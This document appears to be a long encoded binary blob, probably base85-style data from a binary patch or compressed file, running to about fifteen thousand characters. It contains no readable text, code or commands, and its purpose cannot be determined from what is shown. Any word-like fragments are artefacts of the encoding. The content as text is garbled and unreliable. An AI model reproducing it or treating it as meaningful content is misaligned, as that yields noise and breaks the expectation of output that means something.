zF}V-|Z%b?DW*}JyzHVc9E=b#lGid~VxBzwjl6H7SHqxKosQiGw#ah40^KvT=rQK+{ zVmHQxq`@SF5wdZ{5bX!_7FN^4p0{i1Fls_W7ftB~^buC66 zJN=&Wq9(6p#o_c1IydnTMy;f$NeItN`r|vQ&d~Ll;xcw8mp|0xb(J{CH-_)BDWrtI zV+lDd2NUQSF}_M@Hj1jp?(-oPok!e5Cecp_aVQKf07J%eHPcv4+tIg*?HIk9ygBYv zgOu>y))Wc2A1dQdcZ^4v;7ANWHWOX970Jbsmsf{MPhxt2L2=0j8!~G!L-_a9_8VW@X-8eX%Bmo(d5;)hJvF>Q+qKnu4VR(C-(SV|W>;PH(FX#!z75xO`A6!s5HAbN)+A(h;>z z+WC)~xM&QMoUj8Esqi*ry5Q5$p}UD1GF2R@@IyDGO1j2Fv;pZc!dsxNN}N4`WR?xf zqw?#g4Bv-@`4#wimhQrPQNF?zEMy7i7^7s@9o{}FpBKB(dtM1u*~aiHYP=dBqgZik zG65$!9Da9@BD`i)ncndIqLv1%5f7=QSbu668ZH0j@%J%QBX+`5jeyORti(ClF$`DC z3#2Vz0l&mBZ!woQE4UNFaDn?*Z zo-~4l@VcZCdujt~@QPcN5tuDh8(|ixoEMhji6K34ERDcyLX5zSK4}CA;q^%)%;dBN zuXvF%0;6%Y5&g;&rBpmS?ZOm!9gH}RMqoe|Bd{t+8bLyML(&Mdx~Rb`o}-Mw2<;ky zFq9O_oAK}W85}5lvj0l(+|hk+F8IL zENZbzuxbg1H&d-KTqy5Ls?|Lf25hVLNvK_MBGqCj5w%!JB;7+ocuP`~o@rt@vzjpf z$sdKdPn|?<=K#$4M)38IK}!Oe&Jk9zK5h4g||azzr@68aLcZ6OT0`D(Ka$6 zA}Ny@nB#}@0Bp&k8MR5$bhtYRJ>i}d+KV5UfTOn8gaC^Mhm-szt=7wOuu z#%@td4F)3Die74bYVi^5mr|+nhv2>P)l=}%Jk^`F^Hi_+V_H1TYurkp{LnP-0<*8= zH3s4&j~5yI@D5}u`3L&}^_qf1`4!;g)bGE}6YmdB9HFZ`_zEYXe&J5q8DjYL`}+I2 z7ji3XI2jJeVk-wq8`@R6@!9Y$i1sP0)RLW)4eth_ZK6o^W?Qm1-qG9L(v8oamL7ag zXqj;19ogW65b9`|cw=8{S5vFVb~O)7R%$w%{Z1^%MUS6elj&?qAKTUBx6XN`v$@OP zKK4AE>o*MgUbqRSjsqpt>C57}+%nc1gSbOwq}IY%Ri+SA1Rtfj2U%{}4Q_4o2iyGX z2GiKnSPu> zc&AbkVoa^bc)kY_Kl~7qw72A@&FgEKGH>UWo}r^!rY!sx#-ZWoy;Q0tH)i2EKp-$w z7=BDB!}G?swnw{E`OmJavWqHlDday3;YT1XH85ncVb+H%2r9p=g2 z?ni;!UiAA7%h7o>qW9Pc({(?JIVgG$*vg(1X;P=4k7#uIk_Vw8lSQYrvAv}O9c+1R z)?2cx^h;fSwkzG~k4;Pa)xB=F?RCq~X1$>{_Q+jr17pE1zm@d{TV%_M*sN}Ean|iG zx3_nu2ca<7P`}>IY@vhv0_cKJBR16ij51$(uAuKr4kEzWE{l{ z>`=QhG$FHN6QuXu?3jSrN>h~y?57gown9n&H-LZjxI%{4AvOF%za#JW0Hc8n9SEsELNBP(pc`Wl2l> zK+s-s-Ci{CRJ6d!wc=YCQC61@nXj zJH4s(s7*B)?w#4#H{kaKpMx2sV74Hn=0L4KIAPWVS#yk&nY6gb3#7aMJW>vJx|AnC z>GJ|yUiSw##47}L=-9);7PE7@hAW6Og z#kl~ph+cpZw+k@N2+RVk{48{rDpYe$CT>-8vSn2FAArHM2tomagTL)n z1XTYyBm9zK_Cj*FTxkqTSe9d)<(|Po=t8h&>nxyC=cp#)Ar|TW))Ua;5{m)9NRm5} zod{gF3SlL?-oXp%@HmzfBeplwrfQ@X0kjCL?435%UPqglokL<72#tk4q0AG?J`~wS2)hbl1qr*8P#W$M%1Tm(M8p#UZizG$hK2Aa zc*5JV9|?O3;T0k5LBbwFctHqoce8o|v1>%Ob9!AF1>&?#lM{R_Ebs6b=&3)rOe zx4lC%hDQF?(1q^(d5B<}?`_hs&G&YB_Zi;!(xh2Usg1A-n|YWZ@bWvvIX--arD_Zw zgtC#Z0&XmP4WAj$55JD@?#YF3;A?9G$C4sH{qUP0C^-MlJMWajZxIh3hJx)K;WTIt z=76GZgXt~*y-KNFk56^LfQC&Yw3fS0AEW&o&^-DE?#`lCW9THeoh=9E_y}tf{ z(;)18br0cLm$~iHyKySjAAR-=e)6qGn1e`wA(s?7#Lh;Uc7(7egCUty5I+PjBO9X8 z9?f_vW)@H{oQ==&Z~DARr85C#nhP%=qu%cDMfLS~R6tG@mlUu|BxTOSuU z-W&c8DD5rb|KcnB9zL?OH)!npz&ZvN-~mXe-*O9l+|?Alxhb`|vnl)mc=-AuzOMNp zyPjYRgre>auoRT-IUD|Q&(JqjWmPn$dD$(}w z;iFI*9cna{f4rMFSo#rYy^Y~Z`0}#h%lPWwkWXRiR!DNTlfx|#*qqt~Zx+4@Q)0EwdhNdVsV@8I0zr(pDMBPYP#z`)4bqzqb%U--GmkP~2TF%UH4qwq@*`xlIKgW8R! zEawxIfNkWtR%$w1Ocu=WSK#a~0i7AaW(1Brd}g!`pkoa7y8Xg$BqMTybRwgSsPgfi z!jXQjyEGTIlj&|77?kX@qBcAWL@}e?7eY(;D%6F)!$)7bdrezfgmanPIFXwDtS^0s zt<#a{c!btAnppTMbZw*cg<&M$#zI1_*u(E>Ua4`bK%h)el*X+BfH2Vz1OQ=@AqW7% zWJ3@Dgeis~00>hJK>!ePh9JPyA+MM>6agTziy;UA!ZbseR(^WGo7ix6`K1AGLTNh4 z(TcNi{w)`7W}u++Z}Czoxisl8-T@fVncv+$W^C&1>=@BIz@_xSOft_V*_($lF z9#e6?7IR)R9OU#Tz%#FdQQq6x@v%`-dd!%0>3>D@{tQu-JH~U(_>Ezd6z6=)dDUXC$`6sTX53&IzfYr^p*YZ!&U()`znic8~A#6lp`HgHfnKErHR?dKm5ZehTc@P5_gNv4o9c+~=} zvgezHzcG)$<0Gwx&WE>mre)~tXvHCuZX=StZCK$yAl^0*=2sYTmz)r<+~hhUg{>b9W}-NBI<(yi*evjSrCY;<^>lQsc;27G z*qhK_cncrFzwlwYv=>d6*2F%ooSB2!``eU!2OpTVZQ*mE$O%<8O;_0+sIqoHIt!+@ zgt$qQ2{5W;!UjM(4F0!9UHR&5qc{(RR_PK|9By#pP&&J?#O%7726_<-GMBrPG19DZ z#B7Y=7iS5f`5?^v&i1jLO_j0dWU5WOY5SzA2=%cY=bXfsXU_HZah$+w^8*voEw^1=Mft;^S?@WW||Qi!6?W@!4p z(zI(xPeDO5zGi-Ad(YUWx3fLAk5?v_$L`_HE4>R9F-5;t8rA9}!8N!s+JJ`*fa1-g z2JHdb5~CA(-OlhWf-}qO=6N$qZKlv_+1d`Y z-_z=LUAkAtPO0b>qzF350P<^#a1#I>VhX$Jo$$aI2yESmHZ?Xie(M?XeUULM7E5OeP#m!Ds&lFPMt&-rg{WFRX6=_0Gv*o*bCkRYI*}t5yDa-CK8q zZZDVLiuqKNH(~1xK`Y-mv=!4QNL7&sNDgp~0?VXe8o#>3>HNy?j9yO}#VIb6_biu_-j|>SdPSOCm_cu_F*<@pu^Qq^`aO`2F?$DZA zV#j8cj+hr`yc*^!tK?H@gf1G6@ZGUaovdU^YZ8f9s!LIo7c*KkT1H8$jW;UwOzywX zltTi><=;^rSb(8?Z@%FJ@qm4@)oh82fb(S^XrS)vKh%34`h6MGy;Ki2aeEUM|*v3W9BK$E2%FJSyOdvOP7TOkS!-wx?gU~+`pwGjOSTF}zn1%oI z_n?$L=w(Rnzi?E3|4lD`4ZWhg1S8sn8qDnxl;%Q{*L@8pvJKk{^(c%XST^c9_P0UWfyQjJmh19v;KAv_)OdEq`+n?z$a^G~oh9mYm^-^I*sJ zqx(FsFokO%BCB3Fh2Ce@_sW&qXu76mpvC0u`#?oqvvY5#omlkvBJvX zFQL&_89I#RZYp8x{B59QJBCliS4(&Z^JXh+4G+U-@o;>Mtj5REB{lg+fF%>o61E^X z5rKO-6A6yQM^|%|!jYpu-%716t9#AJ(I9y*A_#TcxC3#Oy%zmPLvRdO;Tn7tjwN&) zKHS7TYiM98)7e~`Kfx$J(JKEKly{5r-t3ECG41i*9pyA}&B*b{+%@w>qiGW!Nq#Yh zppm9sQ&sE4H65+p_;aieGML;gdGFiryrU|6!Knai)c2l3*7d#nQg2!5qKf(+n58OP zf~qb0ISfm?v8CE)dy5LM6HyL*Z}_Vwju>8Onb=GA&~Gf-UtI%WFA|~^Y)$5Oa%SM5 zs^}W%O@!89R+sdoxXMljsN?#()#aS|ura25$TF|LG?L6TGt2=+W!shx*Fx8VYd}ed z>i~wQ;G=zDQ%iU%fQ}JtWj3{j>j4L+;bUx5xB*{-JGJ6kmb9_cfetKe4bQ;$%(<=M zMt%_uc+VPOh5}B0IxM}xN@Iu_+k({n_zOX z70=x;QleYJvyigOA6PQh56&i-#;w3}0K{o*%MLcd{K4^-1IZAQTPc9#oAEXCvsml< zZ)dUc)Z3Sx&FEKg$bs(QTnJ1!c1Z|-&|Q5nd9L^-zNW5S_J$ke?_2JjP})}EtATwJ zl|OT@bQnQ>Sind7!1$JM3jnD=RY&Im)phi<>N=YFsEIZe`sfHS&-GF>Qo9@=!Cwwn z;A9WJ#FUg#p_IN0N)zM3=A=>U(&70KQ7gg=0L?sfWImj($SM{+6^moix;?%dVgrF> z(orGYkG`0Jm)0W#MRn7?!nNNE7L;eM^m3(3#Az2oEG*(9gRSFKa1o$3(JXb}KClqG zysY|;bhs5?V;iOZ!x6xPxpaaE9&0@0{5af3VNX^27t{uET zIIOE_cpL^3goccwwgS7FhkwejZI)W>@;m+T66lI1hbGjYCEE|*Lp$t9#jA@g!`SUh zb*4L8!o!$(S`CuSpEEuAf$X=w^e)*$#%Ms6)F7|VvBuIK5qKzKzsudpq&<3>F$kz)63 z@_yb;rA2VW1kMvwU+zR>Fqbn_9t-1h5Bc0vKGE1gLG&y1{dH6AVx}kru$BFsNFi+w8 z#>%|#GI$m+z-ONy-pF(}2}Qu01$-Yq<1+ZA z@D_@_pC2ra%45uCokvi%v^^6v?$

jzX!i;_58i3bBmeUHAaL+grRWAN)8M)+YO> z+rVv$)pbd}k3`7@FGf%lYOw%uaX%+UNE`w&=>bpa9w-xRb-O)BkhX{vE zi)`qGcY)l3$6@#tOII? z635LfH}U6_=#xqGvliVC)^>MnpW)VoJ4dOweUa^NMMN(<2t!7BK@IV=Cepl9&B(MRx&M_WJ2ucq)per3al_!SMGi+Xt&;1-msp*K1j zcyss&2))rcfX6gxV_{a>ufhK_w<5NJ?P2e4= znTdFi`;8@k2cj+N_*0#6Hth|MVrL2y&&QBg2gb7p8Q#1%(yK&f#UhW>K!>$9W_{YQ zN;=t1G4C^mrxbo7=6n{Mt|soXV-Kc5#v9R(qJIvo1#hyem*ZcAlO8Ss$v z+&{V+>wb72lBN1NCfqMSG9d2H-WHc$d(fUtr@O0}_Ha7gQ_cKaX^g4X2@Y4ezjr6Y zo9OUR+GcvZg~P6RJU;gbp5e-Z$J2wWbxhauhGzFy@DD@U=#J{wEZ~@}eEi8c`{g#F z+27VW_GZ1EoUFH3P;a??@}EZaG&sMlAz3P#m?ot3BF ziFFDrbY5qrscT7<*I5P6LgRuL&_@1qMLZREG+}ccxA5i7SdkRr2$Wsnp;Yo;%zM?; z3tU`Qlzg{~%aYLGY@{kxDf(UgWS7@x9af)(w?F7BFHUKc^_MnPvPz6XDcLJkJj?nf zDpL*qqEST!uUg0pg9={*lnEZkXPcjvyJcYmCIumeS04mkEmH)H#&|}7C)Vx8I~eG2 zdfB4&x5#_y6weQj1+QNr(JvWKm6c)B1vB8=ndiiY4W1%ab%<4Xa<#Lm!Y)#1SShxw zRV?djHl`&k!_preGe$B@f3P(mra9T+o)Q_#ld)Ovu*wma16?|Zu!NDMXxqG@_X1|t zsjJy6pF-1-H>brnd-VKg6(=c!P^7LvwoTUe7G++?cfXA*;8e4>M_I$WG;AxF4uUvQ zx0UD6K*BHMgL2G94JoTV?)Qs2a$zb{aWfoYBWO5U86XlgE0dCIv zG6D`@{f;xxOexM)ojmS}(x_OglTsVIn=#hu4n(u&uZsCnGZ;cu&YFL&;-map!SnPH z2Y)SaWry~L=Cc=a`S(}wzfzI@@e2M|EBG%6AN6kx_*#X)KPnV_-SD+R#G|9>u1!!f zI7WqFHarR?9ncM|TQHq~8AK-}6QKXghQ}mQ5Ys+*4N;_S+N$tA1S~$m`5-bBU#L9O z;lW@yF^miRJW5sfG_eNqQa2#tv0rBiHMx@F9UDm_HjkgU@DEofG6PAQ*xv^QzvQkd@*m(!??tmYwp@K{9NgV!tfrlJid zGUcSh7VjCI?+T{gRGk_x*eB<|SfbyQ|9G@FQCDhMynaQZufyU`nh0QG;ei3={0_A@r z&CKW2d~U$bphq!;I(ER80%gPhfod=O-|~xVu;#fg_5)Um?kfTrBw@D%u5iAGWGZld zH66t=TQ#8&7h3ciG;r|)jb7w8qyDekxM>ZxDcBuGRy=*pOI$Kw|2>l~1>c8SKir(q zAjIGY;N;d9eu%H&NBHOoUczU)R)^J=%02ozqPOK5?5a1Y85?`Lsyx+0*wKGO*3GR% zgB4G`6I8lMSAqg_&-IG?(>t5k8OWTP_cRBO(+;oUx#Eo`Fwi%{6LlmxNvLwNv|;7N zapB7-vu%;+aGF!kV*PY|Ty3jp7-nd0KqaFxiz*SR?a+n0@%WV0QrqxP(MhLpcbCg0 zS%adl7+oKiOC7o}qe`~Ai`8_euB@Pi1>Od0)yRqRXX2q#FP|nD>6RL6t9gbQVPkEx zbk!=p4mXUJ?%VEXgsEy32^3M*NU}9KW^9AK8-{lHlHa|?R8PGUjZ)yHsON0>3LNM- z8IK#pPDamXe9TkX?%THH(4d2#K%%SEJc{bL7U}ga^>q3UDhSiCAqZ6N%sbF9ZZn|i8TPFi>_)YHAj|Nl_C0aAY$+o@9e|6$Ev&l@`S`YZUdXp%Lbhn04O$&7wAr&{y(mN4Zp)13oZU*{$33yWoE zk49%wOYmF&uHf?tK|Gcv+J1@_RQwqm+RyP3y@b9!`~@KVS~)(uul)f!f!=H`b7y!q z;?T75T86|HGc?RtT~D$kQ?s-*G+d65(d~D5yQa)1eZ&R_kx`1B%+2(s^>UNURBx&? z+bN23!v@pra{D?wCdM*$neJp%W$Nh))18bes=Je_Qg$}$V&Y8nw&>^Z{DMH{>XWrU z#tdkGM89UW&?5sAt9Y*oul&k7JP#yx#8vt$)~lT8riX8351Lkox-FwPHjXD&V^{0H zBigB5ThhiIXDV`Ri#k4|>6&+z!;_OT@?h9z*t*~Zwf~lOPmJ9_{WS~pn>wY!1%5SC zuT>jy^h>cu3r{QB*_H^;kIc~3F*Z|Gs^^8b8;g=r2Y{m$t9<*Z-oSt|_8>O?cPAS^ zu2SQfPvQJlN?iWasi<9NTlZk5Dkf8%kZ9mu{6<^d#oxjRNN($nu7;j6Ga5*ui?5es zqKp5L-C}jSc-6#zZ+Y&nuGxM)dDQLK)pq~2p4mE9E7;N%U(OD=x+`9D8s_hgUk{;Q zw_KG5N5oOfS`9if{M_1$e6_W64y&MyMwHq+ChEBWTQETY5yB&$4Q`N}1 z?Ij)7X?Nr_Rnj|ZmDn1oS72Qu6>O;y*`s8QbRbo%Wi0e32#IpdIyYwhxq@|f%=$|OOMbXo72&Uj1t0zm z@PeHmwMSo=8Sp8gy*J`M?zN~UPrVuU?@UsAdtf!aaBZ>zalo$jB6hSp;Hv)z^2pBa z)q%F!n^0RXo*FD4cBVHO$2cCZl*>Pz=m^?!UBZ^I4f_Gz;RmsZ^NPZM9r*-r@Pq4_ z!TI&m$_sXDroykeVjY$UZBO2)seE=M?f56O*YTO~uTR)1@6na*jvf0 zlIShE=nCXnN1iKhNBmzDzr4KYEIj)T%gluSXcp(DL~-PGy)q5eU5LosNSU{xBs2U+ z6b#}24iM9YjIPG*LLiAzq+X7C6iJ7vCOmp|IW7;#qEfFwGke&sgnS-?H{e?uxE9$X z7Qy;8!P?ib@Nj1%ctYQf}tO z*2LD7=|<}1tU3hod%DVs_`QkoSqAP3*7AF&Uwdl`73%CvalMIsp#Q_(m&a9Ab${=D z?!AXQFe{@V;J_dXl0#As;0R8MLyD4uVhRo@P9W$3hZLpEAx+cL)RN4~%8as7Gl#O$ zN{dEFEiD_&CWq|(u5~tged>9h-}t`&ynXU}*LSbA*Phni``mN)IovdV|HYlD)cTu& zezw24HHEYrx29D8t6Njo`+v>msak(EjWcPwt+{!+xlLnMyKbJwF=TzyG(M?1X*fB1 z>}F@U$!snB6<>z6k`Yjwhxss<3}*}TiLds!=evsL|6Z*3{AR!#-LHO4rI(d)qWU#e z{m^y&7NBOn*79*GnJ%D|{`$>7rRSQ}>#>X!UhidPumukAOWC!+B{waU%H8#Qf(4%F zkiVYzn22fhkEY787cx}hp&NOldgGmi*RK|pl{fWsef?0q>(_Q>*RjgYVQ`x$RowL} zMWywrchmw2YaX7a#TtAk=O65*r&2Q~*Y{fdw7+*Zy(^jd*88OQ1^lhIMbtjO>t=Yi z;D(t&SCnS$rep5P0{?nDw_zU)n;W!Y0ghna*edE{EbDJ#tdL^Ne>%n3UG6bvJ`33v z8;pT(+5f!=<8uE+gx#o@+X!9{Fx=N;ga1r~MZSTZ0%3OJOwr#*7(4!(2y+jxR%Y@4 zBEqQSRD@-%`C*1O`Y$0v<@`g)@KZ?c<7^HyTizTF9g^`~?4MZP91tCROiR9he?4N= z3d3!^vBC_b3qR`b4xgZ}{)u}mXR@FH;;r&ClGyyoe{SA^jBq9k@8@OHc`!9ck6%?+ z&=8(lCjXPNaI;4i&=0!xhZYOlBP`8DkG$2NpeVfFFn8BCWi--m%6VgA6#VTxNtpH! zogKrOLOMHU{)k^_`P&x|O$$I1TJ+?%5LpTWX(rNTQ;U(Nxy5`{kr8xVQSa~9W24a* zH~u1c*=UqDm!Ke+j6(orbiT|jEtJx7sa6To9;F(NCAr=s`j%c|fguvBF+-;{LOt-a zNDymmYNcQz&%q-Qav`o~m_C-;5egYlJE{FC$H?CyoIX zgoD!oipKbC)kO?_*DvlS@cxt8eaV?-7YM}+FY;Y6_ zN71o1ly$T3j#|*a^8I;+R`PHC#=AZb^3o!%nN{SvIbx$w;O7l*PW6awvS!X~Ei@<( zb+p7bg$W*Vk8OreJc8fcy5`5(TEkXf(HeYbH>JKmVCB$u?oyE{d!PXvmGoqQ9CtUl;Uk+b`DGOBWaPoJ2u18fZQWFuHz%#r_E| zDsjP0iG|aeVfu1ryj@Vei>E0f&tRsfRy}?k1FznO)bCW-F zlP|f+Ugb9m3wM)mca!g68S#(P&b;NTNdIYJe}1V=}m_W5_Y^8*cWL{dksnNj?ZB5-`Awi(_&I_Ka^hlD)4llcme;~ z;vX)O1lC94gHO8R#{Yb~xgkF3>qKKDz>NR3TeEW>e!j#d5>s5g;J>hzlm(lmxWC2b zvAXz!@vgW-xjy2jyD7aoZgpQ>Olv_nnDI2@GmJ+Vzh#@PaSPy~5#z0#uD2MRfGs(W zJb#a8oOE%(h&hz2i>W9;7ZEK8KesOObc#31^7D1v93**4L4Lls=$bvQlfMXAVB|Z+ z+46i~N~ipMe=)HOrOfI@DVG})4nkgkadjA_A7q=tg(Sb7PTEI-{^E0J{ly)v4f@#E zi7+t3$PW}f7Dc)I#d6N@>>@Jlu!yvK=aY-(L#SHw@~G~IhL4@2i?H0*6VS@Yr+S5o zjnk8-go-<+63%A~C?t8`48n&YqjGuq`Jv)Hwrnyp*??jQ8~wydi7Y3u{O%OW_6wsg zyBNsnrHnl}WeVfH)5vwd#QglG((1yC*hL+RcM1cA>0&}Ns@y>MX)LnGmBxpPA7LLV zR`gGvVmQTUuF=PwG?=k1;|_LR#Pa=IP6%fvx*S3w=mpVze09J2BB)d=fLRleeghBb*#DwF}g1e-}IDEouR@w!^MmM(Z#PFpXwDY+C?NL4pkL;2f-LBVo;%Ik=H6Q zF;tB4qOKb;J9$cwwiSAjVHK43H6%!Lf#Vk&Gs#jyNzO*#H zu^2L(&^M`!fbo-V$&kcX8^X}TWjP1ZALNLcdg$GLlLH)V)(D8TynZ}9AwM7SpWd6|R?kiH>|=QVlgBBRLor{} z4kY>U=9GB{yZDS<^vR^cig_Rk8o3Cl z(wg`xX0}s|VqC_!1KMb@c_R4r%++d0w~Qg6tHY z0|`H7(<^Z8FCL6NftRr8NbwgQEIYEP0lg^&kn~3eh5~nl~E20Tg@)HrTC(82kACgJv#fM}v<0S6Uxk%T=?Q@?p zFg9lpfZn1QYnCor^P=%_N1D5%bFB%w_#&JNn2iMr%SZu5$v`X}y0|T#MzOr{j7i?& zqwzB)>Eh`eN*ULmmZOl-NAf~NQEW2i(Om<{=8s|;`>sw}pk_=aZ9^>Ncq;SuNkK5$ zxRi{RHYY4#T+ok}pi$AZzwPQZcIj=xH}Wln=lR)Gt%tn``y|jF*b)m7Qd(2zdzC!Z z>lSf&{G$lo$ruP-96?^EC_!Ih;xSqga|k^QXtW{j&rM9!h36nzq23x#xHpX=c2-h; z{`=b7m^@!tUIw-ha}sD7X}=^9YsSWK!f)jAbI>=YQpW~)(QA-u5l&_x(siTR2uT$uGR z8LsK>PV13TEAVrg2aNTdol!N_==_@4`=ld?@Rn046tACGFdpYTE*xZ&{vEaW$KIwrVgcyWOkck z_|qdW-LF^^X3JH^rp%@)){NOjReW=1kt$y_vn-{HVfKv57i%zWp_FmV2C9rLm_4Of zJhRV~C0(cbii3)^Vzykd1ZFc7OJsJR^3s}FH>FFWKSSp$CMo4Dto$L%?3y;ro>Zo7 znaxu5ZpW;92Y+Aym z=VT$9?q<_(WfAN8vF^N_!|Wx_cTwKUER1!REs7)U&*G<`1 zyW5TR)5g28{#w2pyF;7k#s+AU-Pk~FiW?iG6}qv(+H}QGeh)E3o9U*!Q!8>~L$%p% zY?xN+#xk|JU_u;2m$pJrlranSGT8!V=ap_T=PQPF4>4S;WZj8K#D6Pv+A>zs8rDN( zX)9UTk==~cR=bVbNNt^FLkKNfN|vLwN8EH{wN3108G9M0ZDDo--!~sX4?f2EK90cO zfYK&t+pgy`dWZ?y^I8LB8iJvCK%1oP)}qAQ{@q2CsPRujr0ocrix(iJ1j>^c|MZ zflG9f<87bArf(V992-g=rt~_Flo6ck3baxzwVY~*_1E8a3go9d$!J7(DyDn4 zg=ZoAK$fBzGE1?69rfa>lrgSj91XOHL#?UO!#t??^_K5|O>Kl18F%O;mv|6rcEUFa z4Kdt7rPz2d=D!AIXkt_X{YY3 z;9MiQ=Vo&O-dwpnuG}%sHI%E>%|W?79QGTqI`JydyEWl229uvXsOxeVSL!4eSqLA~ zX=tWI>*50AEIxLz>sj26gWQfM7(d{Yp4^&S1Qiy~F|o%^ne8mU&kd-tQFR?`KcDRz zaA3Z}?VilxS<2o1Glz2|WPFLATSM{x9y(KsZLFweqt1+tIFhqjj^Gh}n(+}H*V`Bq zxR`5fxtT++1rN|qjGu9T%;QQFa<8;Sui$EWF3pQc7;eP>7Xx&3<`KqWi(CN~QHGXT z#A^#E{_o>zE$%@f^8yfe#yE2}M@dsmMJYx*r~x0d<=1Q(ze-zB2Z!4**0x~m zN$G|tV8v0!4M1Jo!3Dg^0XT-^e=Mi;%uj3T|FR;@mI9QtT6pH2P_azFpi0{a*WZQL49x>y(aipq zjhgdvF;Jr(+G1&j4Ewod5AZ~4hd7X83@TlwU%XbuUn^6I&G%)3v*LmjLq%X+=w6M3Ym+#Ie}lb#9<(! zj72magL!&vLwsV}ElYsAtvr@>Jl?N!pmpIWIl`mckqg+u{S?9->%M22J0b0yv_lfo z4rvk3aFkT?Kwssd{MN&u^~>DT%st9nvCXY0lILp?ukF9{hD7lp@m2iBgfyos?Fdpd z=dEi8Z(~O-G>CSVA7?*5V5UfM564Pd-a$?*IBTF@ZCQPlljd+AIMFLoRARkZ9 z0KUXnixyafC$}Sk_i}Tuqw5*m|KLvU!#jfe?$;efTEuW(Y0PT^bEEH!iyFj#z>sE8 z$8j;G+%j{&GB@IeJUh=3lxP9g#T@w2#fO~!Jz?52J5vOKS zi|2+?0gp0{F}@ja1`CXMlIztS?lQ^- zb|%cTp0NxnTkV_}&_+}_!)$?KcfuJL zcppxg#-875umhGF_swwD-W&WZJa2A&#)3aqSA~xT;;lxn1!RJ@DZavcvc=xnGV3Wc|Ksh54XnZ-n zIX*hiYyliMJrVeZe_Nn7JsFrcwKH(+ly1Q1rl$dYX7&Rvm@yC-KVv9x#EdLp=b1Uc zr(2z|xXaXly8{EoA7TRV5v>?FNG=L&Bie-D4?JY_egGdGnw_zb={l$r>FHZc=f~p#pWf|c;ZURWWnuo|HNCp zrZ77w_UAo~#|~amY*qM4JXvD=tmuJ+3eeF}0{_jozcFeb4hH5c_Ti{QVAB+9o%K$j zO_V5>p7jCP0>wnuC#Za-V!>H;U=Jv^Zp7I@53xb97e;&!_L!mQ=&WA??cyoLW@TLg z+pXBPEG@_(UQ_JFEIZg?#oim?6XX=f6gxK}0IWu_yJvpm=Mr^_&6(+Pxx_b$WtD^l zd5WK+=>7}ZJEy~~TJFYbUh6d%N!$`><|gBprY6Q*9hD}wDdoeccW*I1*))9|PWy^jdZ#Bc&VkeZ;;dq0(cS@~V@J}>x1Wd(mjgw2 z#lDIT5CcU&#U2d{mxII*#dd`S;Lo;YGb=a5N$;ef!D34%vxpVGNkMmt0i8{j4K_?% zRqPrphl{~oOx?qsl7q6udBu(+N=Az3Q%v0vv^QInrkd@kdQx%f!217Pz-OkdM-Ssd!MabBKg{Mfd)ut^!V%iIs{?fz#z;y<&00?g&~b?01-!>8R)f zVwGagfUObM0j93BeUcHhR#}^NEnI@fYS|Pv0_d*eMEG`Ptr6LpCR-%iTekc z%pXoS3o+PaRnTn}m5SMKOA2~i993*ia#B#0@T5DP@bU$8#&+R(r%9)wyLX7AilxEy zX;C!P)Rkd;cZ#cuy$AN3C>v(#K7i#eaa6I(aJpM$WtzJEVAW!yVi_pmWpP@utFc8H2-C6v>~Y~c(o}|`6Wvte+8w znH>;Yv6y@<&MMu-VjaJBq|B1YcMrB4Vgs0!i>I*VoE1kE`!q9Bd?TXirz4a=Th4ir zpcw5j-;4G|`2Iu6DWE@!6s1f@ApRtlDYgb%&d*{SGqWt2+ti(EZi+q)tIofSytD8yeJ3W-Hb+EemYCVy*K=2ep?4ign5x4>pV0e1jwSR%s~Z zs1XH0x618`U2Z-D>{-S1=n}A(6g#$PUQh>lLb3Z76Z=syKV~jGPJ)Mv?GH1HR_rRX zRK<+X*iDwADHY^qmSV56ZiQmetlOd3&sMTLtXOAlG1w`^E^@wWibYKbuy>FR@k|R< zCYp;+RBV#Lw6~(exrnif3D%V^{Yw8Ahy1vCq7S9Z+m-F0n5Z`#PQ2 zWyQ8<6AQpIJye-lo{J68){0IqCuJYSo?$n4EB09*(v>ULlRJOCVzEm}w_CBpVZ`23 ztaB8x?-V=3O|nOr#fLXv9AtEmO%Dt5A%EUzdQmIr3Yz(}(;*Vs*xVxDuzw69{P8WS6**cWU$PqC6T(ru{M zH6!+-V&h7Qy|360RG|D`vEw`xh9k->KBhA%n<@69C$TPyRdTQmSL}P8bTbqyVRpY_ zXE}hkD^|+^d{D98%<2@YV#}+Bq9a)u)WodJ56o^+>?1bqr5T zUSw9S*dez3K(V&WerRHt1>Vc1PCN}lahcDoxnj?;X$rH|_K8LJq4m9(ncHs%c?YxQ z!5wqEIy%Vl*L5pldF(n{7nCfm&8P&*w<+j0S=1bl^P6;A(CzYQ^LpjeK^MSd-v%NuGWL9jw?od#Qti8_O2}+e|arL?rL0#oD*V(5*-DDY^x!~fz3hE)xf}wn> z&38dPWme02<G~Y*s5M<3+^qqTxXuaedO7MdR>FyzOpY~w_^GX4elrR zUT0Ck{pI4MdR=Vr9dbb%FoTOv3?3lubby^%```>&d7X6%9w>d=)$6(k50YiqS)bs+ z^5^SpVDJz*zCBsaN0Tyx@07=wQ3JDshsy4^vW{;UAxXhI;73*yj2Z&tR zPSO1Ia5+|XQfy{=fEX)#DmJH2W$@jyzhZ0ptN?E7c(<&))mS76{B!2l4}*C za4wdc6r*r1mQOM>eHydnC8lOP&z2IWtLTcA?f}k~4#mjnZ0WBUIW3W)ijmV2*^HU# zv{X)IX8J6Z#mvk(QYtH%trV|JITu`N$Ze)l?3nU$@LVbIqFU;U{ZlRm8}fJ`Vy2sN zS;Ne%TDh!KjH*^HzftTt+=iJae^TrKzB$d4R}?G7ZJ7Def;ae41DD}8%zSBhD(c}M zE*Hp#ibePbhy^lSvDdns6bof@#op{9!4ed!g6(;_*5 znb}W^7T(B@@vH&EVYGH$R8E! zFx)d_iTqu$jN$%ZvY*-dbgT(WrK2D3fAj5kVNqBr{gqP8Iw>k;sAB&3I$0^3Dt0M5 zB;;Nhub5{}1Xx?es1NUx9TlTKyicYvGuyjNzMyo}q-FBee!TygOYkyz$j#0D@?AGK z_sfqIqb^-8YZap|T`tcvGmBUull$L@nH4gXnHhR3WG=In_NiEcSI8+~*#B1Azs`vc zSs`aB<*zwC9V?{4tlUm(;7YkjF(%7 zn_;rL*@HtKkzEx#3ARaQDHgRfD`d0Wz|4%N&2p>B?7Np#h|O|`V(%>R1$%*+agY5B zlw0JhO8EzrTjU|d@-d=Y<-3Z_#)xi}A1PLvSRo#hwTdlB#4%HOPO)!hR*1*t1;u`u z=?ivQu`3h8abKh8@2JiEYwlQv0R+a9JfADCRXGKvc;v#X_Tg_j^J%Q>Z*0hR+1X?~o1Te8C>7X9hZd zr`)XQAawpt`J~CX-p|sPdr>AxzVHaa@w`Rlq~5z}vCr6DiM=iR*Qk$ae# 